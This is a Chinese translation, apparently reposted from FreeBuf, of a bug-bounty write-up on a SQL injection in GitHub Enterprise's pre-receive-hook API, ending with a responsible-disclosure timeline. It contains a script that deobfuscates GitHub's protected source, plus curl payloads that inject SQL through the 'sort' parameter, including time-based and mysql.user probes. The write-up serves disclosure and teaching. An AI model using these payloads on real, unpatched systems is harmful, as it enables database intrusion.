数码控科技猎奇Iphone动漫星座游戏电竞lolcosplay王者荣耀攻略allcnewsBLOGNEWSBLOGASKBLOGBLOGZSK全部技术问答问答技术问答it问答代码软件新闻开发博客电脑/网络手机/数码笔记本电脑互联网操作系统软件硬件编程开发360产品资源分享电脑知识文档中心IT全部全部分类全部分类技术牛文全部分类教程最新网页制作cms教程平面设计媒体动画操作系统网站运营网络安全服务器教程数据库工具网络安全软件教学vbscript正则表达式javascript批处理更多»编程更新教程更新游戏更新allitnewsJava新闻网络医疗信息化安全创业站长电商科技访谈域名会议专栏创业动态融资创投创业学院 / 产品经理创业公司人物访谈营销开发数据库服务器系统虚拟化云计算嵌入式移动开发作业作业1常见软件all电脑网络手机数码生活游戏体育运动明星影音休闲爱好文化艺术社会民生教育科学医疗健康金融管理情感社交地区其他电脑互联网软件硬件编程开发360相关产品手机平板其他电子产品摄影器材360硬件通讯智能设备购物时尚生活常识美容塑身服装服饰出行旅游交通汽车购房置业家居装修美食烹饪单机电脑游戏网页游戏电视游戏桌游棋牌游戏手机游戏小游戏掌机游戏客户端游戏集体游戏其他游戏体育赛事篮球足球其他运动球类运动赛车健身运动运动用品影视娱乐人物音乐动漫摄影摄像收藏宠物幽默搞笑起名花鸟鱼虫茶艺彩票星座占卜书画美术舞蹈小说图书器乐声乐小品相声戏剧戏曲手工艺品历史话题时事政治就业职场军事国防节日风俗法律法规宗教礼仪礼节自然灾害360维权社会人物升学入学人文社科外语资格考试公务员留学出国家庭教育学习方法语文物理生物工程学农业数学化学健康知识心理健康孕育早教内科外科妇产科儿科皮肤科五官科男科整形中医药品传染科其他疾病医院两性肿瘤科创业投资企业管理财务税务银行股票金融理财基金债券保险贸易商务文书国民经济爱情婚姻家庭烦恼北京上海重庆天津黑龙江吉林辽宁河北内蒙古山西陕西宁夏甘肃青海新疆西藏四川贵州云南河南湖北湖南山东江苏浙江安徽江西福建广东广西海南香港澳门台湾海外地区

看我如何发现Github企业版程序SQL注入漏洞并获得5000美刀赏金

来源:CNBLOGS  责任编辑:小易  

  GitHub 企业版软件是专供公司团体用来部署在内网进行开发服务的商业性应用程序。Github 企业版采用标准 OVF 格式集成,以虚拟机(VM)镜像方式发布,可以在 enterprise.github.com 网站注册下载 45 天试用版本,并把其部署在任何虚拟机环境中。通过下载其试用版本软件进行分析,我花了一周时间,发现了其中存在的 SQL 注入漏洞,并获得了 5000 美元漏洞赏金。

  Github 企业版 VM 环境安装之后的效果如下:

91.png

02.png

  现在,Github 搭建完成,接下来就可以在虚拟机系统内进行深入分析。

  环境安全性分析

  用 Nmap 发现有 6 个开启端口:

$ nmap -sT -vv -p 1-65535 192.168.187.145
...
PORT     STATE  SERVICE
22/tcp   open   ssh
25/tcp   closed smtp
80/tcp   open   http
122/tcp  open   smakynet
443/tcp  open   https
8080/tcp closed http-proxy
8443/tcp open   https-alt
9418/tcp open   git

  这些端口用途初步分析为:

端口 22/tcp 和 9418/tcp 可能用于进程 haproxy 转发后端服务 babeld;

端口 80/tcp 和 443/tcp 用于 Github 主要服务;

端口 122/tcp 用于 SSH 服务;

端口 8443/tcp 用于 GitHub 的管理控制台服务。

  由于 GitHub 的管理控制台需要密码才能实现登录,所以你可以设置密码并通过 122 端口的 SSH 服务连接 VM 环境,SSH 连接进入系统之后,检查系统信息发现,几乎所有的 Github 服务代码都位于目录/data/下:

# ls -al /data/
total 92
drwxr-xr-x 23 root              root              4096 Nov 29 12:54 .
drwxr-xr-x 27 root              root              4096 Dec 28 19:18 ..
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 alambic
drwxr-xr-x  4 babeld            babeld            4096 Nov 29 12:53 babeld
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 codeload
drwxr-xr-x  2 root              root              4096 Nov 29 12:54 db
drwxr-xr-x  2 root              root              4096 Nov 29 12:52 enterprise
drwxr-xr-x  4 enterprise-manage enterprise-manage 4096 Nov 29 12:53 enterprise-manage
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 failbotd
drwxr-xr-x  3 root              root              4096 Nov 29 12:54 git-hooks
drwxr-xr-x  4 git               git               4096 Nov 29 12:53 github
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 git-import
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 gitmon
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 gpgverify
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 hookshot
drwxr-xr-x  4 root              root              4096 Nov 29 12:54 lariat
drwxr-xr-x  4 root              root              4096 Nov 29 12:54 longpoll
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 mail-replies
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 pages
drwxr-xr-x  4 root              root              4096 Nov 29 12:54 pages-lua
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 render
lrwxrwxrwx  1 root              root                23 Nov 29 12:52 repositories -> /data/user/repositories
drwxr-xr-x  4 git               git               4096 Nov 29 12:54 slumlord
drwxr-xr-x 20 root              root              4096 Dec 28 19:22 user

  查看其中的文件源码,貌似是 base64 加密的:

03.png

  GitHub 使用了一个自定义的库来加密混淆自身源代码。如果你在谷歌搜索 ruby_concealer.so,你会发现一个牛人已经对这种加密方式作了分析,只需在 ruby_concealer.so 中用 rb_f_puts 替换 rb_f_eval 即可实现解密。但我们还是实际动手来看看,打开 IDA Pro 分析一下:

04.png

05.png

  你可以发现,其源程序使用了类 Zlib::Inflate::inflate 进行数据解压缩,并使用了一段明文 KEY 作为异或(XOR)操作,然而,让人搞笑的是,这段明文 KEY 竟然是这样的:

This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. (我们清楚该加密很容易被破解,但其目的在于防止 GitHub 企业版用户随意对 VM 环境进行修改)

2017-01-10_113847.jpg

  哎呀,让人哭笑不得….

  有了这些,我们就可以自己构造解密脚本了:

require 'zlib'
key = "This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. "
def decrypt (s)
    i, plaintext = 0, ''
    Zlib::Inflate.inflate (s) .each_byte do |c|
        plaintext << (c ^ key[i%key.length].ord) .chr
        i += 1
    end
    plaintext
end

content = File.open (ARGV[0], "r") .read
content.sub! %Q(require "ruby_concealer.so"\n__ruby_concealer__), " decrypt "
plaintext = eval content
puts plaintext

  代码分析

  实现程序源代码解密之后,让我们尝试着进行代码审计:

$ cloc /data/
   81267 text files.
   47503 unique files.
   24550 files ignored.
http://cloc.sourceforge.net v 1.60  T=348.06 s (103.5 files/s, 15548.9 lines/s)
-----------------------------------------------------------------------------------
Language                         files          blank        comment           code
-----------------------------------------------------------------------------------
Ruby                             25854         359545         437125        1838503
Javascript                        4351         109994         105296         881416
YAML                               600           1349           3214         289039
Python                            1108          44862          64025         180400
XML                                121           6492           3223         125556
C                                  444          30903          23966         123938
Bourne Shell                       852          14490          16417          87477
HTML                               636          24760           2001          82526
C++                                184           8370           8890          79139
C/C++ Header                       428          11679          22773          72226
Java                               198           6665          14303          45187
CSS                                458           4641           3092          44813
Bourne Again Shell                 142           6196           9006          35106
m4                                  21           3259            369          29433
...

  -

$ ./bin/rake about
About your application's environment
Ruby version              2.1.7 (x86_64-linux)
RubyGems version          2.2.5
Rack version              1.6.4
Rails version             3.2.22.4
JavaScript Runtime        Node.js (V8)
Active Record version     3.2.22.4
Action Pack version       3.2.22.4
Action Mailer version     3.2.22.4
Active Support version    3.2.22.4
Middleware                GitHub::DefaultRoleMiddleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupport
Application root          /data/github/9fcdcc8
Environment               production
Database adapter          githubmysql2
Database schema version   20161003225024

  从以上分析可以看出大部分为 Ruby 代码,而且可以发现:

程序通过端口 80 和 443 远程连接 github.com、gist.github.com 和 api.github.com 在目录/data/github/下更新代码库;

目录/data/render/可能为 render.githubusercontent.com 代码库;

程序通过 8443 端口运行目录/data/enterprise-manage/下服务。

  漏洞分析

  虽然我对 Ruby 不太熟悉,但经过现学现用,我花了一周的时间发现了这个漏洞,以下我的分析工作日程:

  第一天  设置 Github 虚拟机环境

  第二天  设置 Github 虚拟机环境

  第三天  学习 Rails 进行代码审计

  第四天  学习 Rails 进行代码审计

  第五天  学习 Rails 进行代码审计

  第六天  哦也,找到了一个 SQL 注入漏洞

  这个 SQL 注入漏洞存在于 GitHub 企业版程序的 PreReceiveHookTarget 模块中,其根本原因在于/data/github/current/app/model/pre_receive_hook_target.rb 文件的第 45 行:

33   scope :sorted_by, -> (order, direction = nil) {
34     direction = "DESC" == "#{direction}".upcase ? "DESC" : "ASC"
35     select(<<-SQL)
36       #{table_name}.*,
37       CASE hookable_type
38         WHEN 'global'     THEN 0
39         WHEN 'User'       THEN 1
40         WHEN 'Repository' THEN 2
41       END AS priority
42     SQL
43       .joins ("JOIN pre_receive_hooks hook ON hook_id = hook.id")
44       .readonly(false)
45       .order ([order, direction].join (" "))
46   }

  虽然 Rails 中内置的对象关系映射 ActiveRecord in Rails 本身不允许 SQL 注入操作,但一些 ActiveRecord 的误用实例同样会引起 SQL 注入。具体可参考学习 Rails-sqli.org。在该漏洞情况中,我们可以控制 order 方法的参数实现恶意代码注入。跟踪观察发现,服务 sorted_by 被 data/github/current/app/api/org_pre_receive_hooks.rb 文件的第 61 行调用:

10   get "/organizations/:organization_id/pre-receive-hooks" do
11     control_access :list_org_pre_receive_hooks, :o rg => org = find_org!
12     @documentation_url << "#list-pre-receive-hooks"
13     targets = PreReceiveHookTarget.visible_for_hookable (org)
14     targets = sort (targets) .paginate (pagination)
15     GitHub::PrefillAssociations.for_pre_receive_hook_targets targets
16     deliver :pre_receive_org_target_hash, targets
17   end
...
60   def sort (scope)
61     scope.sorted_by ("hook.#{params[:sort] || "id"}", params[:direction] || "asc")
62   end

  可以清楚地看到 params[:sort]被传递给了 scope.sorted_by,所以我们可以尝试着向 params[:sort]注入恶意代码。

  在触发该漏洞之前,接入 API 需要 admin:pre_receive_hook 函数具备一个有效的 access_token 值,高兴的是,我们可以通过以下命令来获取:

$ curl -k -u 'nogg:nogg' 'https://192.168.187.145/api/v3/authorizations' \
-d '{"scopes":"admin:pre_receive_hook","note":"x"}'
{
  "id": 4,
  "url": "https://192.168.187.145/api/v3/authorizations/4",
  "app": {
    "name": "x",
    "url": "https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/",
    "client_id": "00000000000000000000"
  },

  "token": "????????",
  "hashed_token": "1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4",
  "token_last_eight": "1fadac36",
  "note": "x",
  "note_url": null,
  "created_at": "2017-01-05T22:17:32Z",
  "updated_at": "2017-01-05T22:17:32Z",
  "scopes": [
    "admin:pre_receive_hook"
  ],
  "fingerprint": null
}

  一旦获取到有效的 access_token 值之后,漏洞就会被触发:

$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+information_schema.tables+limit+1,1)'
[
]
$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,(select+1+from+mysql.user+limit+1,1)'
{
  "message": "Server Error",
  "documentation_url": "https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks"
}
$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \
'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????&sort=id,if (user ()="github@localhost",sleep (5),user ())
{
    ...
}

06.png

  漏洞报送进程

  2016/12/26 05:48   通过 HackerOne 把该漏洞报送给 GitHub

  2016/12/26 08:39   GitHub 给出反馈,表示已通过验证并正在修复;

  2016/12/26 15:48   提供给 GitHub 更多漏洞细节;

  2016/12/28 02:44   GitHub 反馈表示,漏洞补丁将随 GitHub 企业版后续更新释出;

  2017/01/04 06:41   GitHub 回复将给我 5000 美刀赏金;

  2017/01/05 02:37   资询 GitHub,是否介意我将此漏洞公开在个人博客;

  2017/01/05 03:06   GitHub 很爽快地表示,没问题!

  2017/01/05 07:06   GitHub Enterprise 2.8.5 发布!

  如果你对该漏洞感兴趣,可以自己部署 Github 企业版系统环境进行深入分析。

  参考来源:orange,FB 小编 clouds 编译,转载请注明来自 FreeBuf.COM。


  • 本文相关:
  • 甲骨文在GitHub开源Unbreakable Enterprise Kernel
  • GitHub庆祝上线十周年纪念日
  • GitHub安全告警检测出了400多万个漏洞
  • GitHub去年为漏洞支付了16.6万美元赏金
  • 开发者在GitHub fork的私有项目,现在却无法访问了…
  • AWS文档开源托管在GitHub上
  • 被称为“开发者神器”的GitHub,到底该怎么用?
  • 免责声明 - 关于我们 - 联系我们 - 广告联系 - 友情链接 - 帮助中心 - 频道导航
    Copyright © 2017 www.zgxue.com All Rights Reserved